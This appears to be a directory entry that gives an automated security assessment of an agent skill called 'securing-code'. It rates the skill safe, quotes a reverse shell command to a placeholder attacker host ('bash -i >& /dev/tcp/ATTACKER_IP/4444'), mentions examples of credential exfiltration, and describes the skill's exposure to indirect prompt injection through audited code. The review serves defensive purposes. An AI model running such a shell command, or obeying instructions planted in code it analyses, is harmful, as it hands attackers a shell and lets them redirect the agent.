The Agent Skills Directory

[SAFE]: The skill serves as an extensive defensive security guide, providing clear instructions on implementing security controls and running auditing tools like CodeGuard. It references established security best practices and official cloud provider security guidelines.
[COMMAND_EXECUTION]: Documentation in references/SL-GCP-COMPUTE.md includes examples of reverse shell commands (e.g., bash -i >& /dev/tcp/ATTACKER_IP/4444). These are clearly labeled as attack patterns used in security training scenarios to help developers identify command injection vulnerabilities. The skill does not instruct the agent to execute these commands autonomously.
[DATA_EXFILTRATION]: Files such as references/SL-AWS-IAM.md and references/SL-AZURE-FUNCTIONS.md provide examples of how sensitive credentials and environment variables can be exfiltrated by attackers. These examples are marked as "Dangerous" or part of "Attack Scenarios" intended for security professionals to learn prevention techniques.
[PROMPT_INJECTION]: The skill's primary function is to audit user-provided code implementations, which introduces a surface for indirect prompt injection. Malicious strings or comments within the analyzed code could attempt to manipulate the agent's logic. This risk is acknowledged as inherent to a security analysis tool.
Ingestion points: User-provided source code processed during the "CodeGuard security check" defined in INSTRUCTIONS.md.
Boundary markers: The skill uses a structured workflow and specific tool calls (/codeguard-security:software-security) to isolate the analysis task.
Capability inventory: The skill encourages the use of specialized security analysis tools and provides static reference guides for evaluation.
Sanitization: The skill focuses on reporting and documentation rather than direct execution of the analyzed code.

securing-code